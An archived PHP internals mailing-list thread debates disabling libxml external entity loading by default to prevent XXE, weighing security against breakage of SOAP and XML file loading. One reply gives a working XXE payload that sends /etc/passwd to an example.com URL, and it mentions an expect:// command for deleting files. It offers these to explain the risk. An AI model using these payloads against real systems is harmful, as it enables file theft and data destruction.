Disabling External Entities in libxml By Default

8 years ago by Scott Arciszewski — view source

unread

All,

I wanted to float an idea by you for PHP 7 (or 7.1 depending on the
RM's feedback).

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);

What I'm proposing is to disable entity loading by default. That way
it requires developers to opt-in to actually load external entities.

Thoughts?

Anthony

--

Enormous +1 to this from me. This should definitely be off by default.

Scott Arciszewski
Chief Development Officer
Paragon Initiative Enterprises <https://paragonie.com

8 years ago by Pierre Joye — view source

unread

All,

I wanted to float an idea by you for PHP 7 (or 7.1 depending on the
RM's feedback).

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);

What I'm proposing is to disable entity loading by default. That way
it requires developers to opt-in to actually load external entities.

Thoughts?

I am for it, for 7.0 or 8.0.

We discussed it during the last related flaw and decided not to do it for
BC reasons (whatever it means in this case).

This problem went off our radar, so yes, we should do it in 7.0. Changing
default in minor versions always create more troubles.

Cheers,
Pierre

8 years ago by Anatol Belski — view source

unread

Hi,

-----Original Message-----
From: Pierre Joye [mailto:pierre.php@gmail.com]
Sent: Wednesday, July 29, 2015 11:01 PM
To: Anthony Ferrara ircmaxell@gmail.com
Cc: PHP internals internals@lists.php.net
Subject: Re: [PHP-DEV] Disabling External Entities in libxml By Default

All,

I wanted to float an idea by you for PHP 7 (or 7.1 depending on the
RM's feedback).

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);

What I'm proposing is to disable entity loading by default. That way
it requires developers to opt-in to actually load external entities.

Thoughts?

I am for it, for 7.0 or 8.0.

We discussed it during the last related flaw and decided not to do it for BC
reasons (whatever it means in this case).

This problem went off our radar, so yes, we should do it in 7.0. Changing default
in minor versions always create more troubles.

To note were that the libxml-2.9.2 in Windows builds already contains patches mentioned in https://www.debian.org/security/2013/dsa-2652 , see https://github.com/winlibs/libxml2/commit/727e357fb21b95d5c315518bdac99a70a6d15ff8 ... Most of the distributions should already have these patches. Probably we should check whether disabling it in PHP were unnecessary, but if it's not - ofc 7.0 should be the target at least.

Regards

Anatol

8 years ago by Christoph Becker — view source

unread

Anatol Belski wrote:

-----Original Message-----
From: Pierre Joye [mailto:pierre.php@gmail.com]
Sent: Wednesday, July 29, 2015 11:01 PM
To: Anthony Ferrara ircmaxell@gmail.com
Cc: PHP internals internals@lists.php.net
Subject: Re: [PHP-DEV] Disabling External Entities in libxml By Default

All,

I wanted to float an idea by you for PHP 7 (or 7.1 depending on the
RM's feedback).

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);

What I'm proposing is to disable entity loading by default. That way
it requires developers to opt-in to actually load external entities.

Thoughts?

I am for it, for 7.0 or 8.0.

We discussed it during the last related flaw and decided not to do it for BC
reasons (whatever it means in this case).

This problem went off our radar, so yes, we should do it in 7.0. Changing default
in minor versions always create more troubles.

To note were that the libxml-2.9.2 in Windows builds already contains patches mentioned in https://www.debian.org/security/2013/dsa-2652 , see https://github.com/winlibs/libxml2/commit/727e357fb21b95d5c315518bdac99a70a6d15ff8 ... Most of the distributions should already have these patches. Probably we should check whether disabling it in PHP were unnecessary, but if it's not - ofc 7.0 should be the target at least.

It seems to me that this patch addresses only part of the XXE problem.
However, according to OWASP it would be sufficient to protect against
XXE by not setting XML_PARSE_NOENT and XML_PARSE_DTDLOAD (checked as of
libxml 2.9). AFAIK PHP does not set these options, unless requested by
the user), whereas XML_PARSE_NOENT can also be set via
DOMDocument::substituteEntities.

Some note about the potential danger of these options/properties might
be appropriate in the manual.

--
Christoph M. Becker

8 years ago by Christoph Becker — view source

unread

Anthony Ferrara wrote:

I wanted to float an idea by you for PHP 7 (or 7.1 depending on the
RM's feedback).

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);

What I'm proposing is to disable entity loading by default. That way
it requires developers to opt-in to actually load external entities.

Thoughts?

A problem is reported as bug #62577. As it is now, when
libxml_disable_entity_loader(true) has been called, no XML file can be
loaded, i.e. simplexml_load_file(), DOMDocument::load() etc. always
fails, even if the XML doesn't contain any entities at all.

--
Christoph M. Becker

8 years ago by Stanislav Malyshev — view source

unread

Hi!

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);

AFAIR right now, due to how it is implemented, this blocks loading XML
content from files with something like XMLReader::open() - due to the
use of the same code path by both. It may have changes since last time I
looked, but it definitely was a major reason why default stayed that
way. What people did is something like that:

libxml_disable_entity_loader( false );
$reader->open( $filename );
libxml_disable_entity_loader( true );

I imagine we could do better. But we need to be careful - if we just set
it as disabled, we could break a lot of unsuspecting apps that do
nothing more that reading XML files.

--
Stas Malyshev
smalyshev@gmail.com

8 years ago by Rob Richards — view source

unread

Hi!

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);
AFAIR right now, due to how it is implemented, this blocks loading XML
content from files with something like XMLReader::open() - due to the
use of the same code path by both. It may have changes since last time I
looked, but it definitely was a major reason why default stayed that
way. What people did is something like that:

libxml_disable_entity_loader( false );
$reader->open( $filename );
libxml_disable_entity_loader( true );

I imagine we could do better. But we need to be careful - if we just set
it as disabled, we could break a lot of unsuspecting apps that do
nothing more that reading XML files.

It hasn't changed since then. I've gone back and forth on this in the
past. I've looked at both allowing the initial file to be read as well
as potentially adding support for file resources. The latter requires
app changes anyways so no big advantage there, tho would get the job done.

I'm still going back and forth on it as a few things come to mind.
If you are already working with a trusted document then you should
safely be able to disable the entity loader. If you aren't then wouldn't
you want to do some sort of checking (especially if you dont have an XML
gateway fronting the system) for other malicious things before even
opening the document regardless if it has external entities or not. The
intial doc is really an external at that point. In our systems the
entity loader is disabled right off the bat so if any developer needs to
work with xml anywhere else in the system, they have to explicitly
enable it, load and then disable it. Requires a conscious effort on
their part as well as makes it easier to audit their usage of it and the
trustworthiness of their data.

imo it might be better to leave the entity loader function as is and
introduce a new function which can be enabled by default yet allow for
the initial data to be read yet not allow any external loading from
there. This way you are not going to have to relax the security aspect
of the current function (where the current function always overrides the
ability to read the initial data if the entity loader is disabled).

One thing to be careful of tho is the breakage of unsuspecting apps. For
anyone who relies on external DTD, schemas, xslt includes, etc.. even
within their own environment, if they are not currently using the entity
loader function now, they are certain to break.

Whichever direction the consensus is for this I'm more than willing to
help implement.

Anyways just my 2 cents.

Rob

8 years ago by Rowan Collins — view source

unread

Rob Richards wrote on 30/07/2015 14:12:

If you are already working with a trusted document then you should
safely be able to disable the entity loader. If you aren't then
wouldn't you want to do some sort of checking (especially if you dont
have an XML gateway fronting the system) for other malicious things
before even opening the document regardless if it has external
entities or not.

Can you give any pointers to what kind of checking this would be, and
how it would be carried out without parsing the XML document in the
first place?

According to the bug report, one of the affected uses is the SoapClient,
which by definition is dealing with remote data. I can see how that
could be considered "untrusted", but I can't think of any particular
action that would make it more trusted (quite apart from the lack of an
obvious point to intercept the data before it is parsed).

Would it not make more sense for the parser to operate in an "untrusted"
mode - disabling external entities, maybe different limits on stack
depth, etc?

Regards,

Rowan Collins
[IMSoP]

8 years ago by Rob Richards — view source

unread

Rob Richards wrote on 30/07/2015 14:12:

If you are already working with a trusted document then you should
safely be able to disable the entity loader. If you aren't then
wouldn't you want to do some sort of checking (especially if you dont
have an XML gateway fronting the system) for other malicious things
before even opening the document regardless if it has external
entities or not.

Can you give any pointers to what kind of checking this would be, and
how it would be carried out without parsing the XML document in the
first place?

According to the bug report, one of the affected uses is the
SoapClient, which by definition is dealing with remote data. I can see
how that could be considered "untrusted", but I can't think of any
particular action that would make it more trusted (quite apart from
the lack of an obvious point to intercept the data before it is parsed).

Would it not make more sense for the parser to operate in an
"untrusted" mode - disabling external entities, maybe different limits
on stack depth, etc?

Regards,

All depends upon what you are trying to accomplish as this covers tree,
streaming, different types of schemas, xsl, etc...
For example, you can easily check if there is a DTD, imports/includes,
specific xslt functionality, list goes on and on without ever having to
load the document. There really is no one size fit all imo so what one
considers untrusted someone else would consider trusted.

8 years ago by Rowan Collins — view source

unread

Rob Richards wrote on 30/07/2015 14:12:

If you are already working with a trusted document then you should
safely be able to disable the entity loader. If you aren't then
wouldn't you want to do some sort of checking (especially if you
dont
have an XML gateway fronting the system) for other malicious things
before even opening the document regardless if it has external
entities or not.

Can you give any pointers to what kind of checking this would be, and

how it would be carried out without parsing the XML document in the
first place?

According to the bug report, one of the affected uses is the
SoapClient, which by definition is dealing with remote data. I can
see
how that could be considered "untrusted", but I can't think of any
particular action that would make it more trusted (quite apart from
the lack of an obvious point to intercept the data before it is
parsed).

Would it not make more sense for the parser to operate in an
"untrusted" mode - disabling external entities, maybe different
limits
on stack depth, etc?

Regards,

All depends upon what you are trying to accomplish as this covers tree,

streaming, different types of schemas, xsl, etc...
For example, you can easily check if there is a DTD, imports/includes,
specific xslt functionality, list goes on and on without ever having to

load the document. There really is no one size fit all imo so what one
considers untrusted someone else would consider trusted.

So effectively we should all write partial XML parsers to determine the contents of the file, in order to decide if it's the data we expected? Would it not make more sense to leave that to the XML library, with a whitelist of features we actually need, URLs we trust for includes, etc? I never want an XML file to execute system commands on my behalf; do I have to write a regex to make sure they don't?

Regards,

Rowan Collins
[IMSoP]

8 years ago by Ivan Enderlin — view source

unread

Hello :-),

Huge +1 from the Hoa community. We have already disabled it by default
since a long time. However, could it introduce potential regressions (BC
breaks)? I guess yes. So I would go for PHP7.0 instead of PHP7.1.

Cheers!

All,

I wanted to float an idea by you for PHP 7 (or 7.1 depending on the
RM's feedback).

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);

What I'm proposing is to disable entity loading by default. That way
it requires developers to opt-in to actually load external entities.

Thoughts?

Anthony

8 years ago by Jake — view source

unread

Hello

Disabling this will (at least for me) cause SOAP related stuff to stop
working as it was expected to work before!

<?php
$wsdl = "https://www.some.tld/soap.php?wsdl";;

$soap = SoapServer($wsdl, array(....));

wsdl:

<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/";
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/";
xmlns:s="http://www.w3.org/2001/XMLSchema";
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/";
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/";
xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/";
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/";
xmlns:tns="http://www.some.tld/soap/muppet/user/1.0/";
targetNamespace="http://www.some.tld/soap/muppet/user/1.0/">;
wsdl:types

     <s:schema

targetNamespace="http://www.some.tld/soap/muppet/user/1.0/";
xmlns:tns="http://www.some.tld/soap/muppet/user/1.0/";
elementFormDefault="qualified">

...

It fails with

error to read external entity, failed while parsing /external entity
/'http://www.some.tld/muppet.php?wsdl'

..

I dont know if i get this error correct but to me it looks like PHP on
"www frontend" refuse to read WSDL/SOAP/XML from "www backend" because
of this... Petty much of the SOAP idea is gone then..?

/ Jake

All,

I wanted to float an idea by you for PHP 7 (or 7.1 depending on the
RM's feedback).

Currently, PHP by default is vulnerable to XXE attacks:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

To bypass this, you need to turn off external entity loading:

libxml_disable_entity_loader(true);

What I'm proposing is to disable entity loading by default. That way
it requires developers to opt-in to actually load external entities.

Thoughts?

Anthony

8 years ago by Anthony Ferrara — view source

unread

Jake,

Hello

Disabling this will (at least for me) cause SOAP related stuff to stop
working as it was expected to work before!

The problem here is that imagine the following:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE roottag [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://example.com/evil1.dtd">;

and then evil1.dtd:
<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/content?%file;'>">;

%all;

The contents of /etc/passwd would be sent as the url prameter to
http://example.com/content.

That works for any file that the server has access to.

And if you have the expect extension installed it could be MUCH worse.
You could use the URL "expect://rm -RF *" and boom goes the dynamite.

So yeah, while I completely get that some things like SOAP require
external entities, they are also exceedingly dangerous. And only to
be used with extremely trusted endpoints.

<?php
$wsdl = "https://www.some.tld/soap.php?wsdl";;

$soap = SoapServer($wsdl, array(....));

wsdl:

<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/";
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/";
xmlns:s="http://www.w3.org/2001/XMLSchema";

xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/";
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/";
xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/";
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/";
xmlns:tns="http://www.some.tld/soap/muppet/user/1.0/";

targetNamespace="http://www.some.tld/soap/muppet/user/1.0/">;
wsdl:types
    <s:schema
targetNamespace="http://www.some.tld/soap/muppet/user/1.0/";
xmlns:tns="http://www.some.tld/soap/muppet/user/1.0/";
elementFormDefault="qualified">

...

It fails with

error to read external entity, failed while parsing external entity
'http://www.some.tld/muppet.php?wsdl'

I know that you want it to work, but this is actually a great place to
fail, because you're loading a trusted resource over HTTP. Meaning
that an attacker could MITM and inject malicous XML into the response,
and own your server without even needing to own the endpoint.

..

I dont know if i get this error correct but to me it looks like PHP on "www
frontend" refuse to read WSDL/SOAP/XML from "www backend" because of this...
Petty much of the SOAP idea is gone then..?

I thought SOAP was dead already.

Kidding aside, the vulnerability isn't super-well-known but also can
be extremely dangerous. Not can-be; is. So something to consider.

Anthony

8 years ago by Stanislav Malyshev — view source

unread

Hi!

The problem here is that imagine the following:

I think if we separate the loading the initial file (i.e., staring point
of the XML parser) and the loading the entities from that file (which is
not happening right now) we'd solve many BC problems. Not sure about
SOAP, but many others for sure.

I know that you want it to work, but this is actually a great place to
fail, because you're loading a trusted resource over HTTP. Meaning
that an attacker could MITM and inject malicous XML into the response,
and own your server without even needing to own the endpoint.

I feel like XML parser is a wrong place to solve this problem, transport
security can be done in HTTPS, signatures, etc. Otherwise many protocols
that rely on XML - such as SAML, which is quite widely used - would be
completely useless.

--
Stas Malyshev
smalyshev@gmail.com

8 years ago by Anthony Ferrara — view source

unread

Stas,

Hi!

The problem here is that imagine the following:

I think if we separate the loading the initial file (i.e., staring point
of the XML parser) and the loading the entities from that file (which is
not happening right now) we'd solve many BC problems. Not sure about
SOAP, but many others for sure.

Yeah, that seems reasonable. I'll take a peek at the code to see how
bad it will be to separate it (though I'm not familiar with the xml
extensions much).

I know that you want it to work, but this is actually a great place to
fail, because you're loading a trusted resource over HTTP. Meaning
that an attacker could MITM and inject malicous XML into the response,
and own your server without even needing to own the endpoint.

I feel like XML parser is a wrong place to solve this problem, transport
security can be done in HTTPS, signatures, etc. Otherwise many protocols
that rely on XML - such as SAML, which is quite widely used - would be
completely useless.

Yeah, it's a pretty complex problem. I think there should likely be
multiple levels of defense. One level is limiting external entity
requests by default. Another level would be potentially to add a
context option to dom document to allow you to whitelist URLs or
servers.

I think the point would be to document and make it secure by-default,
but provide the ability to turn it back on if you know what you're
doing (though that potentially has a bunch of possible problems as
well).

Anthony

8 years ago by Rob Richards — view source

unread

Hi!

The problem here is that imagine the following:
I think if we separate the loading the initial file (i.e., staring point
of the XML parser) and the loading the entities from that file (which is
not happening right now) we'd solve many BC problems. Not sure about
SOAP, but many others for sure.

It will solve many but your guess is as good as mine as to what the
split will be. All come down to what people are doing with XML. I've had
comments from both sides where people hate the way its currently
implemented and have suggested the idea of allowing initial file and
then from others who like it as is. Regardless tho the current
implementation should definitely not be enabled by default but I could
see something laxer like this. I still say it should be a different
function and leave the current one as is.

I know that you want it to work, but this is actually a great place to
fail, because you're loading a trusted resource over HTTP. Meaning
that an attacker could MITM and inject malicous XML into the response,
and own your server without even needing to own the endpoint.
I feel like XML parser is a wrong place to solve this problem, transport
security can be done in HTTPS, signatures, etc. Otherwise many protocols
that rely on XML - such as SAML, which is quite widely used - would be
completely useless.

Rob

8 years ago by Rowan Collins — view source

unread

I thought SOAP was dead already.

Tell that to the "Enterprises" who drag and drop in Visual Studio to create useless wrappers around hand-written XML because that's their definition of "web service". :P

I don't fully understand where this vulnerability kicks in (other than <! ENTITY> which I don't think I've ever needed to consume) but any change in default behaviour needs to account for real-life usage, or it will simply become standard practice to switch it back to "insecure" mode.

Regards,

Rowan Collins
[IMSoP]